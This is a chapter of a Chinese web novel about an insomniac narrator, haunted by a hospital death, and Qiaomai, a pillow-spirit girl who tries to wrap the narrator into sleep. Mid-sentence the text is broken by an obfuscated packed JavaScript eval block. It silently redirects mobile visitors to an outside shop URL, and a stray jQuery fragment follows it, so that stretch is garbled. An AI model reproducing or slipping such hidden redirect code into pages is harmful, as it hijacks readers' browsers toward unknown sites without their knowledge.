荞麦来了以后，我反而更睡不着了。
以前房间里只有我一个人。闭不闭眼都一样，反正没有人看我。我可以在床上翻来翻去，可以睁着眼睛盯天花板盯到天亮，可以把被子蒙过头在黑暗里数自己的心跳。没人管我，也没人在意。
现在不一样了。
现在房间里多了一个人。一个一直看着我的人。
荞麦不懂什么叫"盯着别人看会让人不舒服"。她就坐在床边，下巴搁在膝盖上，眼睛亮亮地看着我。不是那种监视的眼神，不是那种审视的眼神。是研究的眼神。像一个第一次看到某种生物的科学家，充满了好奇，充满了"这到底是什么原理"的困惑。
我翻了个身，背对着她。
"你能不看我吗？"
"为什么？"
"我睡不着。"
"你不睡着是因为我在看你？"她的声音从背后传来，歪着头的那种语气。
"不是……算了。"
我把被子拉过头顶，整个人缩进去。被子是深灰色的，蒙过头以后什么都看不到，只有自己的呼吸声在耳边回荡。
安静了一会儿。
然后被子外面传来她的声音。
"我试过了。"
"试过什么？"
"试过闭着眼睛模拟'睡不着'。但我每次闭上眼睛就直接睡了，根本模拟不了。"
我把被子拉得更紧了。
被子外面又安静了。过了大概一分钟，我听到一声很轻的叹气。不是我叹的。
是她。
荞麦在叹气。
---
凌晨两点。
我在黑暗中睁开眼。
不是主动睁开的。是被什么东西惊醒的。不对，我没有睡着，不存在"惊醒"。应该说是被什么东西打断了我正在做的事情。我正在做的事情是：闭着眼睛，数天花板的裂缝，等天亮。
有什么东西在碰到我。
从脚的位置开始。有什么东西在蔓延。不是被子，被子在脚边，凉凉的，搭在小腿上。这个东西是温热的，比被子更贴近皮肤，像一层薄薄的膜，从脚踝开始，沿着小腿往上走。
经过膝盖。经过大腿。经过腰。经过胸口。
一层一层地裹上来。
我伸手去摸。
手指碰到的不是布料，也不是皮肤。是一种介于两者之间的东西。软的，有弹性，按下去会凹，松开以后慢慢弹回来。温度比我的手指高一点，暖暖的。
还有一股气味。荞麦壳的气味。从那个东西上面散发出来，浓的，暖的。
然后我看到了荞麦的脸。
她趴在我身上。整个人像一张毯子一样把我裹住了。脸贴着我的脸，鼻尖对着鼻尖，呼吸打在我的嘴唇旁边。
她的眼睛闭着。表情很安静，像在做一件她做过无数次的事情。
"你干什么？"我的声音抖了一下。
她的眼睛睁开了。很近，近到我能看到她瞳孔里的光。
"帮你睡觉。"她的表情很认真，像在完成一项任务，"以前的人都是这样睡着的。我包住他们，他们就闭上眼睛了。"
我推她的肩膀。
推不动。
她的身体覆盖在我身上，像一层有重量的暖雾。我推的地方会凹下去，但其他地方依然贴着我。她的密度和人不一样。她看起来瘦，但压在身上比看起来重得多。
更糟糕的是，裹住的感觉很舒服。
暖的。软的。像整个人陷进了一团棉花里，或者泡在一池温水里。身体的重量被分散了，肩膀松了，后背松了，手指松了。
我的眼皮开始发沉。
然后恐惧来了。
不是对荞麦的恐惧。是对"睡着"的恐惧。
闭上眼睛的那一瞬间，画面来了。
白色的床单。医院的白色床单，洗过太多遍，白得发灰。输液管从架子上垂下来，药水一滴一滴地往下落。心电监护仪嘀嘀地响，绿色的波形线在屏幕上起伏。
我坐在床边。头趴在床沿上。睡着了。
等我醒来的时候，床上的人已经不在了。
床单是平的。枕头是平的。被子叠好了，放在床尾。像从来没有人躺过。
护士说，是在凌晨四点走的。
我睡着了。在她走的那一刻，我睡着了。
我的身体猛地一挣。
"不要！"
声音从嗓子里冲出来，比我自己预想的大得多。我整个人往上弹，像溺水的人浮出水面，手拼命推，脚拼命蹬。
荞麦被我推开了。她整个人弹开，从我身上翻下去，滚到了床角，缩在那里，两只手抱着膝盖，眼睛睁得很大。
我坐在床上。
喘气。手指攥着床单，攥得很紧，指关节发白。心跳在太阳穴上敲，咚咚咚咚，快得数不清。
荞麦蹲在床角，看着我。
她不太理解发生了什么。我能看出来。她的眼睛里没有恐惧，只有困惑。以前的人都睡着了。为什么这个人没有？
"以前的人都睡着了。"她小声说。声音有点委屈，像一个被拒绝了的小孩。
我没回答。还在喘气。
"是我做得不好吗？"
我还是没回答。
过了大概一分钟，呼吸慢慢平下来了。心跳也慢了一点。我伸手揉了一下耳垂，手指还在抖。
"不是你的问题。"我开口，声音很轻，轻到我自己都差点没听到。
"是我的问题。"
---
那天晚上，我们没有再说话。
荞麦缩在床角，没动。她的姿势和刚才一样，抱着膝盖，缩成一团。
我坐在床的另一边，抱着自己的膝盖，看着窗户。窗帘是遮光的，但边缘漏光，路灯的光从缝隙里透进来，在窗帘上投了一块橙色的光斑。光斑的形状不规则
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814706|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，像一滩被打翻的橙汁。
过了很久。
我不知道过了多久。可能是半个小时，可能是一个小时。时间在凌晨的房间里走得很慢，像被什么东西粘住了。
我动了。
我下床，走到荞麦面前，蹲下来。
她抬头看我。
灯光照在她的脸上。她的皮肤上有一层东西。细密的水珠，一颗一颗的，从皮肤下面渗出来。挂在脸颊上、额头上、手臂上。在灯光下闪闪的，像露水。
"你……怎么了？"我指着那些水珠。
她低头看了看自己的胳膊。水珠还在渗，一颗一颗的，慢慢地从皮肤表面冒出来。
"我不知道。"她的声音很轻，"以前从来没有过。"
我看着她。看了很久。
然后我伸手，用袖子帮她擦了一下脸。动作很轻，像在擦一件瓷器。水珠碰到袖子的布料就散了，留下一小块深色的湿痕。
她的皮肤摸起来比我预想的温度低。不凉，但比人的体温低一点。
我把被子拉过来，盖在她身上。被子很大，把她整个人都裹住了，只露出一张脸。
"睡吧。"我说。
然后我回到自己那一边，躺下，闭上了眼睛。
我依然没有睡着。脑子里还在转。医院的白色床单、输液管、心电监护仪。凌晨四点。那些东西像水底的气泡一样，一个一个地冒上来，破掉，又冒上来。
但这次，我闭着眼睛的时候，能感觉到背后有人。
荞麦裹着被子，躺在我后面。她没有碰到我，但我能感觉到她的存在。那种存在感很轻，像空气里多了一种什么成分，你说不清楚是什么，但你知道它在。
我没有睁开眼睛。
---
不知道过了多久，我的意识开始模糊。
不是睡着那种模糊，是介于清醒和睡眠之间的那种，像水面上浮着一层薄冰，踩上去会裂，但还没裂。
荞麦的声音从背后传来，很轻。
"沈鹿栖。"
"嗯。"我没睁眼。
"你不是睡不着。"
我没说话。
"你是不敢睡。"
我的手指动了一下。攥着被子的边角。
"这两件事不一样。"
我闭着眼睛，盯着眼皮底下的黑暗。黑暗里什么都没有，只有她的声音，像一颗小石子扔进水里，涟漪一圈一圈地散开。
她没有继续问。
我也什么都没说。
窗外的路灯还亮着。橙色的光斑还印在窗帘上。冰柜压缩机的声音早就停了（不对，这是家里，没有冰柜。是水管的声音。或者是什么都没有，是我自己的心跳）。
我不知道自己有没有睡着。
但我闭着眼睛，身后有一个人，身上盖着被子，被子上有一股荞麦壳的气味。
那是我三年来离"睡着"最近的一个夜晚。